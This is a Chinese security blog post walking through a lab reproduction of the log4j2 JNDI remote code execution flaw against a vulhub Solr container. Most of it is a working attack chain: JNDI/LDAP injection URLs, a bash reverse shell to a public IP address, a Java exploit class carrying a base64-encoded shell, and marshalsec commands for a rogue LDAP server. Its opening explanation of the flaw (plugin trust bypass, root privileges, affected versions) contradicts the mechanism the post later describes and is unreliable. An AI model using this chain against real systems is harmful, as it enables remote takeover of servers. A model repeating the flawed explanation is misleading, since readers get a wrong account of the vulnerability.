freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

log4j2远程代码执行漏洞
2023-09-10 23:54:16

log4j2漏洞原理?

CVE-2021-44228,简称:log4j2,利用漏洞可以执行任意命令。该漏洞影响所有 log4j2 受影响的版本,包括 2.x 到 2.15.0。这个漏洞利用了一个缺陷,允许攻击者以 root 权限执行任意命令。log4j2 的核心代码存在一个漏洞,导致它在加载插件时未正确验证插件是否来自受信任的来源。这使得攻击者可以通过构建恶意插件来绕过信任检查,从而执行任意命令。

Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi,在rmi的工厂中注册一个恶意实例,使用lookup远程加载导致RCE
${jndi:ldap://log4j.voxxaq.dnslog.cn}
特征:${jndi:rmi
判断主机,一定会有一个RMI的恶意流量
无回显的时候如何判断攻击成功:看看主机是否加载恶意类,看看受害主机有没有回连恶意地址

解决方案:

升级到最新版
在防火墙设置中,禁止应用服务访问常规应用以外的ip地址
其他版本,删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

环境 & 工具

环境:kali + docker 部署 vulhub靶场

复现:jdk 1.8 + python + marshalsec

http://www.dnslog.cn #dnslog检测
https://ares-x.com/tools/runtime-exec  #可以对命令进行编写

环境搭建:

进入vulhub 靶场 找到log4j2目录

image-20230910202729819

启动docker

docker-compose up –d

image-20230910202936084

访问查看

image-20230910203031681

没问题

dnslog测试漏洞:

进入:

http://www.dnslog.cn   #生成个接受的链接

image-20230910203515124

测试注入点:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3avw73.dnslog.cn} 
#验证漏洞并查看java版本

image-20230910203759381

ok 接着查看 dnsl平台 刷新一下

image-20230910203904867

发现有 回显 并且包含jdk 1.8

测试完成!开始漏洞利用

反弹shell

反弹shell 由于前面我们测试过了 可以通以ldap即我们可以通过远程类加载实现反弹shell

bash -i >& /dev/tcp/43.140.204.207/6666 0>&1 #6666为端口号

进行base编码

https://ares-x.com/tools/runtime-exec #这个貌似需要梯子

这个图片有一点点问题哪个端头是7777

image-20230910204943980

写 Exploit

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDAuMjA0LjIwNy83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}
javac Exploit.java   #生成class文件

启动httpf服务: 生成 .class 目录下

python -m http.server 1234

image-20230910205555360

image-20230910230201463

发现是有这两个文件的 然后 我们以这个http起一个 LDAP服务

起这个服务需用到:marshalse

marshalsec使用教程

cd marshalsec/target/ #进入这个目录
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/test#Exploit  3333  RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/test#Exploit  3333   LDAP服务
//http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 3333 指rmi/ldap服务的端口 

先进入

image-20230910231142399

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://172.24.56.44:1234/#Exploit" 1203

image-20230910232020665

然后将自己起攻击的服务器开始监听该端口

image-20230910232824033

ok 开始打playload

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.24.45.44:1203/Exploit}
#这个是get传参不用管了 直接回车就行 没必要抓包

image-20230910234034678

成功反弹shell并有root权限

再看一下 http 和LDAP服务

image-20230910234203576

image-20230910234152462

看到两个同时响应

至此 log4j2漏洞复现 完成

总结

总结一下: log4j2漏洞刚出现时可谓是危害嘎嘎大 不过现在也感觉以后找工作像这种 可能也是HR必问项吧

防御:这个应该说比较简单开头也提了 一些 禁止陌生ip 上WAF 对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截 。。。及时更新版本 。。。

# 网络安全 # web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录